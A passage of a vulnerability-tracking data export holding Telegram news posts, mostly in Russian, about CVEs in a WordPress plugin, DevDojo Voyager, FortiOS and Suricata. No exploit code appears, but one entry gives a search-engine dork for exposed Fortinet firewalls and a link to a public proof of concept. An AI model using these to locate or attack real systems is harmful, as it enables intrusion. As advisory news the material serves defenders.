\u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u0442\u044b\u0441\u044f\u0447\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 WordPress\n\n\ud83d\udcf6\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c WordPress, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d HTML5 Video Player, \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \n\n\ud83d\udcf6\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043a\u0430\u043a CVE-2024-5522, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 SQL \u0432 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044f \u0440\u0438\u0441\u043a\u0443 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u043b\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u044c \u0441\u0430\u0439\u0442\u0430.\n\n\u26a1\ufe0f\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0431\u043e\u043b\u0435\u0435 30 000 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0438\u0441\u043a \u0434\u043b\u044f \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0430 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432 WordPress.\n      \n\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u0435 \u043f\u043b\u0430\u0433\u0438\u043d, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.", "creation_timestamp": "2024-06-03T12:18:35.000000Z"}, {"uuid": "437173e2-5e7a-4b42-8257-4e7d16659859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55417", "type": "seen", "source": "https://t.me/cvedetector/16805", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55417 - DevDojo Voyager File Upload Code Execution Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-55417 \nPublished : Jan. 30, 2025, 3:15 p.m. | 1\u00a0hour, 48\u00a0minutes ago \nDescription : DevDojo Voyager through version 1.8.0 is vulnerable to bypassing the file type verification when an authenticated user uploads a file via /admin/media/upload. An authenticated user can upload a web shell causing arbitrary code execution on the server. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T18:27:13.000000Z"}, {"uuid": "a4bc172a-287c-4d6d-ae88-31c3762f6521", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/18248", "content": "\ud83d\udea8CVE-2024-55591: Fortinet FortiOS Authentication Bypass\n\nZoomEye Link: https://www.zoomeye.ai/searchResult?q=YXBwPSJGb3J0aW5ldCBGaXJld2FsbCI%3D\n\nZoomEye Dork: app=\"Fortinet Firewall\"\n\nResults: 5,320,990\n\nAdvisory: https://nvd.nist.gov/vuln/detail/cve-2024-55591\n\nPoC: https://github.com/watchtowrlabs/fortios-auth-bypass-poc-CVE-2024-55591\n\nCVSS: 9.8\n\n\u2014\u2014\u2014\u2014\u2014-\n\nFollow @zoomeye_team's official Twitter/X account and send the message \u201cDark Web Informer\u201d via DM to receive an extra 15-day membership.\n\nI am trying to do more for this community, so this is just the start! \ud83d\udc99", "creation_timestamp": "2025-06-17T17:15:37.000000Z"}, {"uuid": "be7c0aae-4e71-4239-86be-7be35993a264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55605", "type": "seen", "source": "https://t.me/ptescalator/199", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Suricata \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7.0.8 \u0441\u0432\u043e\u0435\u0439 IDS/IPS-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, CVE-2024-55627 \u0438 CVE-2024-55605, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, CVE-2024-55628 \u0438 CVE-2024-55629 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0430\u044f\u0441\u044f CVE-2024-55626 - \u043a \u043d\u0438\u0437\u043a\u043e\u043c\u0443.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u0438\u043c\u0430\u043a\u043e\u0432, \u041d\u043e\u0439 \u041b\u044e, \u0420\u043e\u043c\u0430\u043d \u0415\u0436\u043e\u0432 (Positive Technologies), \u0421\u0430\u0448\u0430 \u0421\u0442\u0435\u0439\u043d\u0431\u0438\u0441\u0441, \u0421\u0438\u043c\u0435\u043d \u041b\u0438\u0431\u0435\u043a\u043a, Team Superflat, \u0417\u0435\u043c\u0435\u0442\u0440\u0438 \u041a\u0430\u043c\u0438\u043c\u0438\u0434\u0437\u0443, Oss-Fuzz, Coverity.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043c\u0430\u043b\u043e, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-12-19T13:01:33.000000Z"}, {"uuid": "ff5ac864-599e-4eeb-9e5f-aa3b6b41cd76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55626", "type": "seen", "source": "https://t.me/ptescalator/199", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Suricata \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7.0.8 \u0441\u0432\u043e\u0435\u0439 IDS/IPS-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, CVE-2024-55627 \u0438 CVE-2024-55605, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, CVE-2024-55628 \u0438 CVE-2024-55629 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0430\u044f\u0441\u044f CVE-2024-55626 - \u043a \u043d\u0438\u0437\u043a\u043e\u043c\u0443.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u0438\u043c\u0430\u043a\u043e\u0432, \u041d\u043e\u0439 \u041b\u044e, \u0420\u043e\u043c\u0430\u043d \u0415\u0436\u043e\u0432 (Positive Technologies), \u0421\u0430\u0448\u0430 \u0421\u0442\u0435\u0439\u043d\u0431\u0438\u0441\u0441, \u0421\u0438\u043c\u0435\u043d \u041b\u0438\u0431\u0435\u043a\u043a, Team Superflat, \u0417\u0435\u043c\u0435\u0442\u0440\u0438 \u041a\u0430\u043c\u0438\u043c\u0438\u0434\u0437\u0443, Oss-Fuzz, Coverity.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043c\u0430\u043b\u043e, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-12-19T13:01:33.000000Z"}, {"uuid": "fff2bd29-c36f-4590-870a-31620c40def7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55629", "type": "seen", "source": "https://t.me/ptescalator/199", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Suricata \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7.0.8 \u0441\u0432\u043e\u0435\u0439 IDS/IPS-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, CVE-2024-55627 \u0438 CVE-2024-55605, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, CVE-2024-55628 \u0438 CVE-2024-55629 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0430\u044f\u0441\u044f CVE-2024-55626 - \u043a \u043d\u0438\u0437\u043a\u043e\u043c\u0443.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u0438\u043c\u0430\u043a\u043e\u0432, \u041d\u043e\u0439 \u041b\u044e, \u0420\u043e\u043c\u0430\u043d \u0415\u0436\u043e\u0432 (Positive Technologies), \u0421\u0430\u0448\u0430 \u0421\u0442\u0435\u0439\u043d\u0431\u0438\u0441\u0441, \u0421\u0438\u043c\u0435\u043d \u041b\u0438\u0431\u0435\u043a\u043a, Team Superflat, \u0417\u0435\u043c\u0435\u0442\u0440\u0438 \u041a\u0430\u043c\u0438\u043c\u0438\u0434\u0437\u0443, Oss-Fuzz, Coverity.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043c\u0430\u043b\u043e, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-12-19T13:01:33.000000Z"}, {"uuid": "2283c137-9386-48e0-96e5-6dc3bfef9913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55628", "type": "seen", "source": "https://t.me/ptescalator/199", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Suricata \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7.0.8 \u0441\u0432\u043e\u0435\u0439 IDS/IPS-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, CVE-2024-55627 \u0438 CVE-2024-55605, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, CVE-2024-55628 \u0438 CVE-2024-55629 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0430\u044f\u0441\u044f CVE-2024-55626 - \u043a \u043d\u0438\u0437\u043a\u043e\u043c\u0443.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u0438\u043c\u0430\u043a\u043e\u0432, \u041d\u043e\u0439 \u041b\u044e, \u0420\u043e\u043c\u0430\u043d \u0415\u0436\u043e\u0432 (Positive Technologies), \u0421\u0430\u0448\u0430 \u0421\u0442\u0435\u0439\u043d\u0431\u0438\u0441\u0441, \u0421\u0438\u043c\u0435\u043d \u041b\u0438\u0431\u0435\u043a\u043a, Team Superflat, \u0417\u0435\u043c\u0435\u0442\u0440\u0438 \u041a\u0430\u043c\u0438\u043c\u0438\u0434\u0437\u0443, Oss-Fuzz, Coverity.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043c\u0430\u043b\u043e, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-12-19T13:01:33.000000Z"}, {"uuid": "3af7f519-5fce-4fbb-8d81-c38c9938d1cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55627", "type": "seen", "source": "https://t.me/ptescalator/199", "content": "\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Suricata \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7.0.8 \u0441\u0432\u043e\u0435\u0439 IDS/IPS-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445, CVE-2024-55627 \u0438 CVE-2024-55605, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435, CVE-2024-55628 \u0438 CVE-2024-55629 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u044b \u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0443\u0440\u043e\u0432\u043d\u0435\u0432\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c, \u0438 \u043e\u0441\u0442\u0430\u0432\u0448\u0430\u044f\u0441\u044f CVE-2024-55626 - \u043a \u043d\u0438\u0437\u043a\u043e\u043c\u0443.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c: \u0410\u043b\u0435\u043a\u0441\u0435\u0439 \u0421\u0438\u043c\u0430\u043a\u043e\u0432, \u041d\u043e\u0439 \u041b\u044e, \u0420\u043e\u043c\u0430\u043d \u0415\u0436\u043e\u0432 (Positive Technologies), \u0421\u0430\u0448\u0430 \u0421\u0442\u0435\u0439\u043d\u0431\u0438\u0441\u0441, \u0421\u0438\u043c\u0435\u043d \u041b\u0438\u0431\u0435\u043a\u043a, Team Superflat, \u0417\u0435\u043c\u0435\u0442\u0440\u0438 \u041a\u0430\u043c\u0438\u043c\u0438\u0434\u0437\u0443, Oss-Fuzz, Coverity.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043a\u0430 \u043c\u0430\u043b\u043e, \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c.", "creation_timestamp": "2024-12-19T13:01:33.000000Z"}, {"uuid": "1b0d9a90-8d00-451a-ac2c-7e5de10db86a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55898", "type": "seen", "source": "Telegram/q9ifg7yJf4xGEYmIIenvJSNU6X_bXi9Gjjqd5Nkc9MHGWTQq", "content": "", "creation_timestamp": "2025-02-24T14:08:41.000000Z"}, {"uuid": "65e84662-4572-4e65-9bc1-f15785c937d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "exploited", "source": "https://t.me/kasperskyb2b/1590", "content": "\u2755 \u041f\u0430\u0442\u0447\u0438\u043c \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0424\u043e\u0440\u0442\u0438\u043a\u0438\n\n\u0412\u0447\u0435\u0440\u0430 Fortinet \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-55591 (CVSS 9.6) \u0432 FortiOS 7.0.x \u0438 FortiProxy 7.0-7.2.  \u0414\u0435\u0444\u0435\u043a\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u043c\u043e\u0434\u0443\u043b\u044e websocket \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 Node.js \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441\u0443\u043f\u0435\u0440\u0430\u0434\u043c\u0438\u043d\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0435\u0441\u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430.\n\n\u0421\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u0440\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438  \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0432 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0435, \u0445\u043e\u0442\u044f \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0435\u0433\u043e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044f \u0435\u0449\u0451 \u043d\u0435 \u0431\u044b\u043b\u043e \u0438 \u043d\u043e\u043c\u0435\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d.  \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u044e\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a SSL VPN, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0435 \u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u044b \u0441\u043e \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0430\u0442\u0430\u043a\u0438.\n\n\u0414\u043b\u044f \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f \u0440\u0438\u0441\u043a\u043e\u0432 \u043f\u0440\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u0442\u0447\u0438\u043d\u0433\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e HTTP/HTTPS, \u043b\u0438\u0431\u043e 